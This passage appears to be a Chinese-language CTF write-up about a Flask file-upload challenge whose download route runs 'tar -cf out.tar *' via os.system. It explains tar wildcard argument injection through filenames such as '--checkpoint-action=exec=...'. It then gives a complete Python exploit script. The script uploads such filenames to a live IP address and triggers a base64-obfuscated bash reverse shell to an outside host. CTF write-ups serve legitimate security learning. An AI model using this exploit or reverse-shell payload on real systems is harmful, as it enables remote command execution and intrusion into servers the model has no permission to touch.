try:
uuid.UUID(uuid_cookie)
except ValueError:
response = make_response(redirect('/'))
response.set_cookie('uuid', str(uuid.uuid4()))
return response
g.uuid = uuid_cookie
if not os.path.exists(f'uploads/{g.uuid}'):
os.mkdir(f'uploads/{g.uuid}')
@app.route('/', methods=['GET'])
def main():
return render_template('index.html', files=os.listdir(f'uploads/{g.uuid}'))
@app.route('/api/upload', methods=['POST'])
def upload():
file = request.files.get('file', None)
if file is None:
return 'No file provided', 400
# check for path traversal
if '..' in file.filename or '/' in file.filename:
return 'Invalid file name', 400
# check file size
if len(file.read()) > 1000:
return 'File too large', 400
file.save(f'uploads/{g.uuid}/{file.filename}')
return 'Success! <script>setTimeout(function() {window.location="/"}, 3000)</script>', 200
@app.route('/api/download', methods=['GET'])
def download():
@after_this_request
def remove_file(response):
os.system(f"rm -rf uploads/{g.uuid}/out.tar")
return response
# make a tar of all files
os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")
# send tar to user
return send_file(f"uploads/{g.uuid}/out.tar", as_attachment=True, download_name='download.tar', mimetype='application/octet-stream')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=8888, threaded=True)
这个段代码中
os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")
命令执行的时候,*
会匹配所有的文件名并将匹配到的element
传入到argv
中.但是文件名也是字符串,参数也是字符串,因此在argv
中会出现混淆
在tar
中我们可以用下面的组合去执行命令
--checkpoint=1 --checkpoint-action=exec=whoami
因此如果我们上传两个文件名分别为--checkpoint=1
和--checkpoint-action=exec=whoami
的文件就能成功的去执行命令.
用这个脚本反弹shell
import requests, base64
URL = "http://27.25.151.80:44697/"
session = requests.Session()
cmd = b"bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC8xMTExIDA+JjE=}|{base64,-d}|{bash,-i}'"
session.request("GET", URL)
files = {"file": ("asdfasdf", "doesn't matter")}
resp = session.request("POST", f"{URL}/api/upload", files=files)
files = {"file": ("--checkpoint=1", "doesn't matter")}
resp = session.request("POST", f"{URL}/api/upload", files=files)
files = {"file": (f"--checkpoint-action=exec=echo '{base64.b64encode(cmd).decode()}' | base64 -d | bash", "doesn't matter")}
resp = session.request("POST", f"{URL}/api/upload", files=files)
resp = session.request("GET", f"{URL}/api/download")
flag在根目录,/Guess_my_name
总结
学了不少,做着很爽